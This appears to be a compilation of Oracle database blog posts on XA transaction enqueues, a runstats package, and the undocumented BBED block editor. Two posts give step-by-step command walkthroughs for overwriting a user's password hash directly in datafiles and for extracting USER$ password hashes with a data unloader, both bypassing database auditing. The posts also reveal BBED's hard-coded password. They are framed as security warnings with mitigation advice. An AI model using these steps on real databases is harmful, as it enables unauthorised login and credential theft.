A common pattern seen is to take some message off a queue, do something related to that message in the database, and use an XA transaction so that both stand or fail together.
In my previous post, I mentioned an AskTom thread discussing Materialized Views and distributed transactions.
I added some thoughts to that thread and Tom’s observation was
that the java/jdbc world for some reasons wishes to use an external resource manager so they have to do two phase commits against a single database isn’t what I was talking about. when I’ve seen the XA stuff – there is typically *one* database involved and it makes everything really complex,
hard to understand and slower than it needs to be.
Which might well be a fair point but still doesn’t change the fact that if your insert/update/delete comes in on an XA, then being unable to use a fast refresh on commit MV is really quite a restriction.
Anyway, back to my observations on these enqueues.
There’s not much information related to the BB enqueue but I believe that it’s related to the coordination of global transactions on a RAC cluster.
From 11gR1 distributed transactions can be processed on any instance in the cluster and these BB enqueues seem to be part of that picture. Prior to this change, any branches of a distributed transaction had to execute on the same node.
Whilst we’re on the subject, inevitably there are some bugs around these, in particular the BB enqueue and GTX processes (processes introduced to manage these enhanced cross cluster distributed transaction features).
The DX enqueue is perhaps more interesting.
It looks after “tightly coupled distributed transactions”.
So, WTF are tightly coupled distributed transactions and how do they differ from loosely coupled distributed transactions?
Tightly coupled transactions enable other branches of the transaction – and from our database perspective we’re only talking about multiple sessions in the same database which are part of the same distributed transaction – to:
- share each others locks and
- see each others changes.
The DX enqueue helps manage this.
As part of this, what the DX enqueue does is make sure that only one transaction branch is actively executing SQL at any one time.
So that’s potentially a pretty hefty point of serialisation then.
For more information, the Oracle whitepaper “XA and Oracle controlled Distributed Transactions” linked to below is a really good resource particularly the section “Distributed Transactions and Database Locking”.
However… just to emphasise the point …
In a tightly coupled tranasction, the DX enqueue is obtained before executing any statement.
By contrast, loosely coupled tranasctions do not need to get this DX lock before executing a statement, i.e. no serialisation between different transaction branches.
As the developer’s guide below says “loosely coupled transaction branches result in greater concurrency.”
So, not only is there an overhead to XA transactions but there is an additional overhead to tightly coupled transactions.
And, how many applications really use multiple transaction branches in a single database.
Very, very few, I wager!
And if they do, how many of those applications appreciate the serialisation involved anyway?
Now depending on your version, you might not see the DX and BB enqueues in your enqueue statistics.
In 11.1.0.7 I don’t seem to see anything in V$ENQUEUE_STAT for DX or BB.
There are however some relevant session/system statistic buckets:
- DX/BB enqueue lock foreground requests
- DX/BB enqueue lock foreground wait time
- DX/BB enqueue lock background gets
- DX/BB enqueue lock background get time
For more information see:
- Oracle whitepaper “XA and Oracle controlled Distributed Transactions”
- Oracle Database Advanced Application Developer’s Guide: Developing Application with Oracle XA
Cloud Data Loading gets easier
Just another version of Tom Kyte’s runstats (runstats_pkg)
I want to share my modifications of Tom Kyte’s runstats package, which include:
- Any number of runs sets for analyzing
- Standalone: No need to create other objects
- Ability to specify session SID for statistics gathering
- Ability to specify what to gather: latches, stats or both
- Separate mask filters for output by statname and latchname
- Ability to specify difference percentage for output separately for latches and statistics
- More accurate with some statistics because of avoiding global temporary table usage, but less in several others because of collections usage
Link to package: https://github.com/xtender/xt_runstats
Output example:
SQL> begin 2 -- little example which shows difference between "fast dual" and "full table scan dual": 3 -- http://docs.oracle.com/cd/E11882_01/server.112/e17118/queries009.htm#SQLRF20036 4 xt_runstats.init(p_latches => false); 5 -- 1: 6 for r in (select * from dual connect by level<=1e3) loop 7 null; 8 end loop; 9 xt_runstats.snap; 10 11 -- 2: 12 for r in (select 'X' dummy from dual connect by level<=1e3) loop 13 null; 14 end loop; 15 xt_runstats.snap; 16 xt_runstats.print(p_stats_mask => '%gets%'); 17 end; 18 / ################ Results: ################## Run # 01 ran in 0 hsecs Run # 02 ran in 0 hsecs ########################################################################### Statistics | Run # 1 | Run # 2 ########################################################################### consistent gets......................... | 3 | 0 consistent gets from cache.............. | 3 | 0 consistent gets from cache (fastpath)... | 3 | 0 no work - consistent read gets.......... | 1 | 0 ########################################################################### -
Some usage examples:
1. for own session:
begin
xt_runstats.init();
[some_code_1]
xt_runstats.snap();
[some_code_2]
xt_runstats.snap();
...
[some_code_N]
xt_runstats.snap();
-- result output:
xt_runstats.print();
end;
2. for session with sid = N
begin xt_runstats.init(N); end;
...[after a while]
begin xt_runstats.snap; end;
...[one more if needed...]
begin xt_runstats.snap; end;
-- result output:
begin xt_runstats.print(); end;
3. Latches only:
xt_runstats.init(p_stats=>false);
4. Print stats with name like ‘%gets%’:
xt_runstats.print(p_stats_mask=>'%gets%');
5. Print latches which differ by 30% or more and stats differ by 15% or more:
xt_runstats.print( p_lat_diff_pct=>30, p_sta_diff_pct => 15);
Linking BBED on Oracle 11g / Linux
Of course linking this tool with manually copied libraries, with no documentation or support from Oracle could easily lead to unrecoverable data corruption. It should be safe to use it to read data from blocks but I don't recommend using BBED to modify data on a database you care about. Test it against a DEV database, and don't expect support.
1. copy library files from 10g $ORACLE_HOME/rdbms/lib to 11g $ORACLE_HOME/rdbms/lib :-
cp ssbbded.o $ORACLE_HOME/rdbms/lib/
cp sbbdpt.o $ORACLE_HOME/rdbms/lib/
2. copy message files from 10g $ORACLE_HOME/rdbms/mesg to 11g $ORACLE_HOME/rdbms/mesg :-
cp bbedus.msb $ORACLE_HOME/rdbms/mesg/
cp bbedus.msg $ORACLE_HOME/rdbms/mesg/
3. set environment for the 11g $ORACLE_HOME/rdbms/lib and make bbed
cd $ORACLE_HOME/rdbms/lib
make -f ins_rdbms.mk BBED=$ORACLE_HOME/bin/bbed $ORACLE_HOME/bin/bbed
4. execute bbed
cd $ORACLE_HOME/bin
$ ./bbed
Password:
BBED: Release 2.0.0.0.0 - Limited Production on Mon Jan 21 07:08:13 2013
Copyright (c) 1982, 2009, Oracle and/or its affiliates. All rights reserved.
************* !!! For Oracle Internal Use only !!! ***************
BBED>
The password is hard coded in the binary, so you can get a list of likely candidates using "strings -a bbed" and use trial and error to confirm that the correct one is "BLOCKEDIT"
Oracle BBED command syntax from "help all"
SET DBA [ dba | file#, block# ]
SET FILENAME 'filename'
SET FILE file#
SET BLOCK [+/-]block#
SET OFFSET [ [+/-]byte offset | symbol | *symbol ]
SET BLOCKSIZE bytes
SET LIST[FILE] 'filename'
SET WIDTH character_count
SET COUNT bytes_to_display
SET IBASE [ HEX | OCT | DEC ]
SET OBASE [ HEX | OCT | DEC ]
SET MODE [ BROWSE | EDIT ]
SET SPOOL [ Y | N ]
SHOW [ | ALL ]
INFO
MAP[/v] [ DBA | FILENAME | FILE | BLOCK ]
DUMP[/v] [ DBA | FILENAME | FILE | BLOCK | OFFSET | COUNT ]
PRINT[/x|d|u|o|c] [ DBA | FILE | FILENAME | BLOCK | OFFSET | symbol | *symbol ]
EXAMINE[/Nuf] [ DBA | FILE | FILENAME | BLOCK | OFFSET | symbol | *symbol ]
:N - a number which specifies a repeat count.
u - a letter which specifies a unit size:
b - b1, ub1 (byte)
h - b2, ub2 (half-word)
w - b4, ub4(word)
r - Oracle table/index row
f - a letter which specifies a display format:
x - hexadecimal
d - decimal
u - unsigned decimal
o - octal
c - character (native)
n - Oracle number
t - Oracle date
i - Oracle rowid
FIND[/x|d|u|o|c] numeric/character string [ TOP | CURR ]
COPY [ DBA | FILE | FILENAME | BLOCK ] TO [ DBA | FILE | FILENAME | BLOCK ]
MODIFY[/x|d|u|o|c] numeric/character string
[ DBA | FILE | FILENAME | BLOCK | OFFSET | symbol | *symbol ]
ASSIGN[/x|d|u|o] =
: [ DBA | FILE | FILENAME | BLOCK | OFFSET | symbol | *symbol ]
: [ value | ]
SUM [ DBA | FILE | FILENAME | BLOCK ] [ APPLY ]
PUSH [ DBA | FILE | FILENAME | BLOCK | OFFSET ]
POP [ALL]
REVERT [ DBA | FILE | FILENAME | BLOCK ]
UNDO
HELP [ | ALL ]
VERIFY [ DBA | FILE | FILENAME | BLOCK ]
CORRUPT [ DBA | FILE | FILENAME | BLOCK ]
Using BBED to update Oracle Password Hashes
In a previous blog post I showed it was possible to extract unencrypted data directly from Oracle database files, bypassing all database level security and auditing.
In this post I will show it is also possible to avoid database level security and audit to update data. It is relatively easy to write a program to do this if you understand the Oracle block structure, but for this example I will use the BBED tool (Oracle Block Browser and EDitor)
The BBED tool is not documented or supported by Oracle for external clients, and is not distributed by Oracle in binary form, so must be compiled when needed. The libraries needed to compile it have not been distributed in 11g, but it still compiles with files copied from a 10g install.
Of course linking this tool with manually copied libraries, with no documentation or support from Oracle could easily lead to unrecoverable data corruption. It should be safe to use it to read data from blocks but I don't recommend using BBED to modify data on a database you care about. Test it against a DEV database, and don't expect support.
Using BBED to update password hashes in USER$ (cluster C_USER#)
BBED can directly update data in tables. In this case I am updating the password hash in table USER$ (cluster C_USER#) to allow database login with a known password.
The database is Oracle 11.2.0.1 on 32 bit Linux. I have also enabled case sensitive login for extra security, so password hashes are stored in attribute SPARE4.
SQL> show parameter case
NAME TYPE VALUE
------------------------------------ ----------- ----------------
sec_case_sensitive_logon boolean TRUE
First get the hash for a known password. This can be done in any database, then used on the target.
SQL> alter user hr identified by knownpassword;
User altered.
SQL> select spare4 from user$ where name in ('HR');
SPARE4
--------------------------------------------------------------------------------
S:EA05877BC03C03422C55E39A43BD013013D7EEF334CF5FEAA022D952B78E
So the hash we WANT is :-
S:EA05877BC03C03422C55E39A43BD013013D7EEF334CF5FEAA022D952B78E
Now find details of the string, file, block, offset to replace. This could be done by scanning blocks on disk, but in this demonstration I will use data dictionary tables to speed it up.
SQL> select spare4 from user$ where name in ('HR');
SPARE4
-----------------------------------------------------------------
S:67C6E2E3B0690D6659CF11B7EB968A64879174F4276654CD0B980314C98C
And the hash we want to REPLACE is :-
S:67C6E2E3B0690D6659CF11B7EB968A64879174F4276654CD0B980314C98C
Now we find the file and block where we should look for the hash string.
SQL> select file_id, block_id, blocks from dba_extents where segment_name = 'C_USER#';
FILE_ID BLOCK_ID BLOCKS
---------- ---------- ----------
1 208 8
SQL> select rowid from sys.user$ where name = 'HR';
ROWID
------------------
AAAAAKAABAAAADVAAG
SQL> SELECT dbms_rowid.rowid_block_number('AAAAAKAABAAAADVAAG') FROM dual;
DBMS_ROWID.ROWID_BLOCK_NUMBER('AAAAAKAABAAAADVAAG')
---------------------------------------------------
213
SQL> select file#||' '||name||' '||bytes from v$datafile where file# = 1;
FILE#||''||NAME||''||BYTES
--------------------------------------------------------------------------------
1 /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf 702545920
So we have identified that C_USER# is stored in file 1, in one extent of 8 blocks starting at block number 208. The actual row we want to update is in block 213.
With the file details we can create the parameter file and execute BBED :-
vi /home/oracle/bbed.par
blocksize=8192
listfile=/home/oracle/fileunix.log
mode=edit
1 /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf 702545920
$ bbed
Password:
BBED: Release 2.0.0.0.0 - Limited Production on Mon Jan 21 08:34:55 2013
Copyright (c) 1982, 2009, Oracle and/or its affiliates. All rights reserved.
************* !!! For Oracle Internal Use only !!! ***************
# Load the configuration file :-
BBED> SET LIST '/home/oracle/bbed.par'
LISTFILE /home/oracle/bbed.par
# Specify the filename to work on :-
BBED> SET FILENAME '/ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf'
FILENAME /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf
# Tell BBED to work on file 1, block 213 :-
BBED> set dba 1,213
DBA 0x004000d5 (4194517 1,213)
# Now find the offset where the hash string starts :-
BBED> find /c S:67C6E2E3B0690D6659CF11B7EB968A64879174F4276654CD0B980314C98C
File: /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf (1)
Block: 213 Offsets: 5393 to 5904 Dba:0x004000d5
------------------------------------------------------------------------
533a3637 43364532 45334230 36393044 36363539 43463131 42374542 39363841
36343837 39313734 46343237 36363534 43443042 39383033 31344339 38436c00
16040248 5202c102 10433232 42333046 42423839 42363541 4402c108 02c10407
# Dump the data at that offset to confirm the length and content
BBED> dump /v dba 1,213 offset 5393 count 62
File: /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf (1)
Block: 213 Offsets: 5393 to 5454 Dba:0x004000d5
-------------------------------------------------------
533a3637 43364532 45334230 36393044 l S:67C6E2E3B0690D
36363539 43463131 42374542 39363841 l 6659CF11B7EB968A
36343837 39313734 46343237 36363534 l 64879174F4276654
43443042 39383033 31344339 3843 l CD0B980314C98C
# Set BBED to EDIT mode
BBED> SET MODE EDIT
MODE Edit
# Modify update the block with the new hash string from the specified offset
BBED> modify /c S:EA05877BC03C03422C55E39A43BD013013D7EEF334CF5FEAA022D952B78E dba 1,213 offset 5393
Warning: contents of previous BIFILE will be lost. Proceed? (Y/N) Y
File: /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf (1)
Block: 213 Offsets: 5393 to 5454 Dba:0x004000d5
------------------------------------------------------------------------
533a4541 30353837 37424330 33433033 34323243 35354533 39413433 42443031
33303133 44374545 46333334 43463546 45414130 32324439 35324237 3845
# Dump the data again to confirm the update.
BBED> dump /v dba 1,213 offset 5393 count 62
File: /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf (1)
Block: 213 Offsets: 5393 to 5454 Dba:0x004000d5
-------------------------------------------------------
533a4541 30353837 37424330 33433033 l S:EA05877BC03C03
34323243 35354533 39413433 42443031 l 422C55E39A43BD01
33303133 44374545 46333334 43463546 l 3013D7EEF334CF5F
45414130 32324439 35324237 3845 l EAA022D952B78E
We confirmed that the hash has been updated. Now, we need to update the block checksum to match the new data.
Check if the checksum needs to be updated :-
BBED> sum dba 1,213
Check value for File 1, Block 213:
current = 0x8d06, required = 0x8208
It does need to be updated, so now we apply the update.
BBED> sum dba 1,213 apply
Check value for File 1, Block 213:
current = 0x8208, required = 0x8208
# Now exit BBED and check from the database if we can see the changed data :-
SQL> select spare4 from user$ where name in ('HR');
SPARE4
-----------------------------------------------------------------
S:67C6E2E3B0690D6659CF11B7EB968A64879174F4276654CD0B980314C98C
# Select from the database is still showing the old value because it uses the cached block version in memory. The database needs to re-read the block from disk to get the updated block. This could be done by a database restart, by filling the buffer cache to flush LRU blocks, or by manually flushing the cache. If someone was actually using BBED to update data the best time would be immediately before or after a database restart to avoid a mismatch between data on disk and in cache, and avoid having the changed disk block being overwritten.
In this case I will speed up the process by flushing the cache.
SQL> alter system flush buffer_cache;
System altered.
SQL> select spare4 from user$ where name in ('HR');
SPARE4
-----------------------------------------------------------------
S:EA05877BC03C03422C55E39A43BD013013D7EEF334CF5FEAA022D952B78E
You can see the select now returns the updated hash for the known password. And we can test is using :-
SQL> connect hr/knownpasswordConnected.
Using BBED (or similar program) it is possible for someone with write access to Oracle datafiles to directly update data, passwords, or code and bypass database level security and audit. To avoid this vulnerability, secure the server, limit access to datafiles, and encrypt sensitive data.
If you want to find out more about BBED you can run "help all" you can get a basic listing of commands.
More information about BBED can be found here in the following document by Graham Thornton :- http://orafaq.com/papers/dissassembling_the_data_block.pdf
Geek quotient
Using Oracle Data Unloader (ODU) to extract data from Oracle Databases while avoiding security and auditing.
There are some very expensive products being sold to stop people from accessing sensitive data in Oracle databases, and some companies even insist that DBAs should manage databases without having access to the data. This post is to remind managers that even with the most expensive security product, if the data is not encrypted, anyone with access to the files on disk can read it. Don't believe what the Salesmen tell you !!!
Anyone with access to Oracle datafiles with unencrypted table data can extract it. The Oracle block structure is reasonably well known, and there are a number of commercial products that allow users to read directly from files without being logged into the database. If you are reading data directly from files, it can be done from standby databases, shutdown databases, or even file fragments or backup pieces.
These data unloader tools are usually meant for extracting data from corrupt files, truncated tables, or for fast data migration or replication, but they can also be used to bypass database security and audit layers for extraction of sensitive data or even password hashes which can be used to guess passwords for privilege escalation.
Following is an example using the Oracle Data Unloader (ODU) tool. There are other data unloader tools available, and I have not compared them, so can't say which is best, and have not compared prices.
1. Download Oracle Data Unloader (ODU) trial version from http://www.oracleodu.com/en/ and extract the binary and config files.2. Get the SYSTEM tablespace file names by selecting from v$datafile, or by looking in the OS.
SQL> select ts#,file#,rfile#,name from v$datafile where name like '%system%';
TS# FILE# RFILE# NAME
---------- ---------- ---------- --------------------------------------------------------------------------------
0 1 1 /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf
3. Add the datafile to control.txt
$ more control.txt
#ts fno rfno filename block_size is_big_file header_offset blocks
0 1 1 /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf
4. Start ODU
$ ./odu
Oracle Data Unloader trial version 4.1.3
Copyright (c) 2008,2009,2010,2011 XiongJun. All rights reserved.
Web: http://www.oracleodu.com
Email: magic007cn@gmail.com
loading default config.......
byte_order little
block_size 8192
block_buffers 1024
error at line 3.
db_timezone -7
Invalid db timezone:-7
client_timezone 8
Invalid client timezone:8
asmfile_extract_path /asmfile
data_path data
lob_path /odu/data/lob
charset_name US7ASII
charset name 'US7ASII' not found,will use default charset ZHS16GBK
ncharset_name AL16UTF16
output_format text
lob_storage infile
clob_byte_order big
trace_level 1
delimiter |
unload_deleted no
file_header_offset 0
is_tru64 no
record_row_addr no
convert_clob_charset yes
use_scanned_lob yes
trim_scanned_blob yes
lob_switch_dir_rows 20000
db_block_checksum yes
db_block_checking yes
rdba_file_bits 10
compatible 10
load config file 'config.txt' successful
loading default asm disk file ......
grp# dsk# bsize ausize disksize diskname groupname path
---- ---- ----- ------ -------- --------------- --------------- --------------------------------------------
load asm disk file 'asmdisk.txt' successful
loading default control file ......
ts# fn rfn bsize blocks bf offset filename
---- ---- ---- ----- -------- -- ------ --------------------------------------------
0 1 1 8192 85760 N 0 /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf
load control file 'control.txt' successful
loading dictionary data......done
loading scanned data......done
5. Unload the dictionary
ODU> unload dict
CLUSTER C_USER# file_no: 1 block_no: 208
TABLE OBJ$ file_no: 1 block_no: 240
CLUSTER C_OBJ# file_no: 1 block_no: 144
CLUSTER C_OBJ# file_no: 1 block_no: 144
found IND$'s obj# 19
found IND$'s dataobj#:2,ts#:0,file#:1,block#:144,tab#:3
found TABPART$'s obj# 576
found TABPART$'s dataobj#:576,ts#:0,file#:1,block#:3824,tab#:0
found INDPART$'s obj# 581
found INDPART$'s dataobj#:581,ts#:0,file#:1,block#:3872,tab#:0
found TABSUBPART$'s obj# 588
found TABSUBPART$'s dataobj#:588,ts#:0,file#:1,block#:3928,tab#:0
found INDSUBPART$'s obj# 593
found INDSUBPART$'s dataobj#:593,ts#:0,file#:1,block#:3968,tab#:0
found IND$'s obj# 19
found IND$'s dataobj#:2,ts#:0,file#:1,block#:144,tab#:3
found LOB$'s obj# 80
found LOB$'s dataobj#:2,ts#:0,file#:1,block#:144,tab#:6
found LOBFRAG$'s obj# 609
found LOBFRAG$'s dataobj#:609,ts#:0,file#:1,block#:4096,tab#:0
6. Unload the table data you want. In this case we are unloading the USER$ table which contains password hashes.ODU> unload table SYS.USER$
Unloading table: USER$,object ID: 22
Unloading segment,storage(Obj#=22 DataObj#=10 TS#=0 File#=1 Block#=208 Cluster=1)
89 rows unloaded
7. Review the extracted data, load it into another database etc.
$ ls -lrt
total 9136
-rwxr-xr-x 1 oracle oinstall 558 Mar 22 2011 config.txt
-rwxr-xr-x 1 oracle oinstall 2588361 Feb 2 2012 odu
-rw-r--r-- 1 oracle oinstall 0 Jan 18 09:40 odu_trace.txt
-rwxr-xr-x 1 oracle oinstall 87 Jan 18 09:40 asmdisk.txt
-rwxr-xr-x 1 oracle oinstall 181 Jan 18 09:50 control.txt
-rw-r--r-- 1 oracle oinstall 1440 Jan 18 09:52 user.odu
-rw-r--r-- 1 oracle oinstall 2732224 Jan 18 09:52 obj.odu
-rw-r--r-- 1 oracle oinstall 3725801 Jan 18 09:52 col.odu
-rw-r--r-- 1 oracle oinstall 148683 Jan 18 09:52 tab.odu
-rw-r--r-- 1 oracle oinstall 33307 Jan 18 09:52 lob.odu
-rw-r--r-- 1 oracle oinstall 40 Jan 18 09:52 lobfrag.odu
-rw-r--r-- 1 oracle oinstall 61636 Jan 18 09:52 ind.odu
drwxr-xr-x 2 oracle oinstall 4096 Jan 18 09:53 data
$ cd data
$ ls
SYS_USER$.ctl SYS_USER$.sql SYS_USER$.txt
$ more SYS_USER$.txt
0|SYS|1|DCB748A5BC5390F2|0|3|2009-08-13 23:00:59|2013-01-15 10:22:57|2009-08-13 23:56:35|2009-08-13 23:56:35|0||1|||0|0|DEFAU
LT_CONSUMER_GROUP||0|||S:53620F1B30414FA6489438A818421FB22C752C53A9B0519C7A3FEB67A7C5
I was able to extract the password hashes for the SYS user, and all other users in the database (not shown), without logging into the database, or leaving an audit record. I could then use brute force, or rainbow tables to find the password. Alternatively I could also extract any unencrypted credit card details, application passwords etc.
To properly secure sensitive data in Oracle Databases, access to the server, datafiles, and backups should be restricted, and data should be encrypted.